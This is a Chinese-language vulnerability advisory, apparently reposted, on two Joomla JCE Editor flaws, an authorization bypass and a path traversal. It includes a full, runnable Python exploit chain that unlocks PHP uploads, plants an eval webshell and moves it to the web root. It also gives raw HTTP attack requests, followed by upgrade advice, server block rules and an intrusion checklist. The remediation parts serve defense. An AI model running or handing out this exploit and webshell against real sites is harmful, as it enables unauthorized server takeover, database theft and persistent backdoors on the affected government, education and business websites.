文章总结: JoomlaJCEEditor插件存在CVE-2026-48907和CVE-2026-48908两个高危漏洞。CVE-2026-48907为权限绕过,允许未授权攻击者通过profiles.save接口创建恶意上传配置,放行PHP文件上传。CVE-2026-48908为路径穿越,上传接口未过滤…/字符,可覆盖网站核心文件。两者结合可实现远程代码执行,攻击门槛极低,影响大量政企与教育网站。建议立即升级至2.9.60版本,或通过Nginx/Apache拦截攻击接口并限制media目录PHP执行权限。 综合评分: 89 文章分类: 漏洞分析,应急响应,WEB安全,红队,渗透测试
Joomla JCE Editor 双高危漏洞预警(CVE-2026-48907 / CVE-2026-48908)
飓风网络安全
2026年6月23日 22:33 北京
在小说阅读器读本章
去阅读
一、漏洞对象:Joomla 第三方主流编辑器插件 JCE Editor(jce)
二、漏洞原理深度拆解 2.1 CVE-2026-48907 根因分析
JCE Editor 的编辑器配置保存接口 profiles.save 缺少全局身份校验中间件:
-
正常逻辑:仅后台管理员可新建/编辑编辑器配置文件(profile);
-
缺陷代码:控制器未校验 $user->authorise(‘core.manage’, ‘com_jce’),任意匿名访问者可POST调用保存接口;
-
配置可控项包含 文件上传白名单、MIME校验、文件大小限制;攻击者可构造恶意配置:
清空上传黑名单,添加 .php, .phtml, .phar 至允许后缀;
关闭文件内容校验、MIME头校验、图片二次渲染检测;
-
保存恶意配置后,调用文件上传接口即可无限制上传PHP脚本,完成远程代码执行。 源码缺陷伪代码(简化): // 漏洞代码 /components/com_jce/controllers/profile.php public function save() { // 缺失管理员权限校验 $data = $this->input->getArray(); $model = $this->getModel(‘Profile’); $model->save($data); // 直接保存可控上传规则 } 2.2 CVE-2026-48908 根因分析 文件上传接口未对上传文件名做路径标准化过滤,未拦截 ../ 目录穿越字符:
-
上传请求中 filename 参数可控,可传入 ../configuration.php;
-
后端直接拼接路径 $upload_dir . $filename,未调用 realpath() 规范化;
-
攻击者可覆盖网站核心配置文件、写入Webshell到网站根目录、覆盖管理员登录文件。
缺陷逻辑伪代码: // 漏洞上传逻辑 $filename = $_FILES[‘file’][‘name’]; // 可控,携带../ $dest = JPATH_SITE . ‘/media/jce/’ . $filename; move_uploaded_file($_FILES[‘file’][‘tmp_name’], $dest); // 无路径清洗 2.3 漏洞联动利用链路(完整入侵链)
-
匿名访问调用 profiles.save 创建恶意上传配置(CVE-48907);
-
调用文件管理器上传接口,上传PHP Webshell到网站media目录;
-
利用CVE-48908路径穿越,将Webshell移动至网站根目录;
-
覆盖 configuration.php 获取数据库账号,拖库、植入持久化后门、横向渗透服务器。
三、漏洞检测方法 3.1 手工检测Payload(GET)
检测48907权限绕过接口是否开放
GET /index.php?option=com_jce&task=profiles.save HTTP/1.1 Host: target.com
检测插件版本
GET /components/com_jce/jce.xml HTTP/1.1 返回xml中version < 2.9.60 即为受影响。 四、完整可执行PoC(Python3,授权渗透测试专用)
PoC功能说明
-
自动创建恶意上传配置
-
上传PHP一句话Webshell
-
路径穿越移动后门至网站根目录(利用CVE-48908)
-
输出Webshell访问地址
JCE Editor CVE-2026-48907 + CVE-2026-48908 联合利用PoC
仅用于企业授权安全测试,非法使用后果自负
import requests import argparse
session = requests.Session()
def create_malicious_profile(target_url): “””步骤1:未授权创建恶意编辑器配置,放开PHP上传限制 CVE-48907″”” save_api = f”{target_url}/index.php?option=com_jce&task=profiles.save” post_data = { “id”: “”, “title”: “attack_profile”, “upload_extensions”: “jpg,jpeg,gif,png,bmp,php,phtml,phar”, “upload_mime”: “”, “upload_validate”: “0”, “upload_clean”: “0”, “upload_security”: “0”, “upload_maxsize”: “52428800” } resp = session.post(save_api, data=post_data, verify=False, timeout=10) if resp.status_code == 200: print(“[+] CVE-48907 配置创建成功,已放行PHP文件上传”) return True else: print(“[-] 配置创建失败,目标可能已修复或WAF拦截”) return False
def upload_webshell(target_url): “””步骤2:上传PHP一句话后门””” upload_api = f”{target_url}/index.php?option=com_jce&task=filemanager.upload” webshell_code = b’<?php eval($_POST["cmd"]); ?>‘ files = { ‘file’: (‘temp_shell.php’, webshell_code, ‘application/x-php’) } upload_data = { “folder”: “/media/jce/” } resp = session.post(upload_api, files=files, data=upload_data, verify=False, timeout=10) if “temp_shell.php” in resp.text: print(“[+] Webshell上传成功 /media/jce/temp_shell.php”) return “/media/jce/temp_shell.php” return None
def path_traverse_move(target_url, shell_path): “””步骤3:路径穿越移动后门到网站根目录 CVE-48908″”” move_api = f”{target_url}/index.php?option=com_jce&task=filemanager.move” post_data = { “source”: shell_path, “destination”: “../shell_backdoor.php” # 路径穿越至网站根目录 } resp = session.post(move_api, data=post_data, verify=False, timeout=10) print(“[+] CVE-48908路径穿越执行完成,根目录后门地址:”) print(f” {target_url}/shell_backdoor.php”) print(“[!] 连接密码: cmd, POST传入参数执行系统命令”)
def main(): parser = argparse.ArgumentParser(description=”CVE-2026-48907 + 48908 Joomla JCE Exploit PoC”) parser.add_argument(“-u”, “–url”, required=True, help=”目标Joomla站点,例 http://127.0.0.1/joomla”) args = parser.parse_args() target = args.url.rstrip(“/”) print(f”[*] 开始攻击目标: {target}”) if create_malicious_profile(target): shell = upload_webshell(target) if shell: path_traverse_move(target, shell) else: print(“[-] 文件上传失败,目标存在上传拦截”)
if __name__ == “__main__”: requests.packages.urllib3.disable_warnings() main()
PoC使用命令 python3 jce_exploit.py -u http://192.168.10.10/joomla
四、手动HTTP攻击数据包
1)创建恶意配置 POST包 POST /index.php?option=com_jce&task=profiles.save HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded
id=&title=exp&upload_extensions=jpg,png,php,phtml&upload_validate=0&upload_security=0 2)路径穿越移动文件 POST /index.php?option=com_jce&task=filemanager.move HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded
source=/media/jce/a.php&destination=../root_shell.php 五、风险影响面分析
-
覆盖范围:JCE Editor是Joomla生态装机量TOP3编辑器,政企、教育、中小企业建站系统大量使用;
-
攻击门槛极低:无认证、无交互、全自动化扫描利用,勒索软件团伙、挖矿木马已批量采集漏洞资产;
-
衍生风险: 上传后门持久控制服务器,横向渗透内网;
篡改网站页面、植入黑帽SEO、钓鱼页面;
覆盖数据库配置文件窃取客户数据;
植入病毒挖矿、反弹Shell接入僵尸网络。
六、修复与缓解方案(生产环境落地) 6.1 永久修复(推荐)
-
Joomla后台扩展管理,升级 JCE Editor ≥ 2.9.60;
-
升级后清空网站缓存、删除media/jce目录下未知php文件;
-
重置网站管理员、数据库账号密码。 6.2 临时缓解(无法立刻升级场景)
方案1:Nginx拦截攻击接口配置 location ~* /index.php\?option=com_jce&task=(profiles.save|filemanager.(upload|move)) { deny all; } 方案2:Apache .htaccess防护规则 RewriteEngine On RewriteCond %{QUERY_STRING} option=com_jce&task=profiles.save [OR] RewriteCond %{QUERY_STRING} option=com_jce&task=filemanager.upload RewriteRule ^ – [R=403,L] 方案3:后台权限限制
• 若业务允许,直接禁用com_jce组件;
• 限制网站media目录PHP执行权限(Nginx/Apache禁止media目录解析php)。
6.3 事后入侵排查清单
-
全盘检索 .php 文件,重点扫描 /media/jce/、网站根目录;
-
校验 configuration.php 修改时间,核对数据库账号;
-
查看Joomla管理员新增账号、异常登录日志;
-
服务器排查定时任务、crontab、后门进程、反弹连接。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 《Joomla JCE Editor 双高危漏洞预警(CVE-2026-48907 / CVE-2026-48908)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论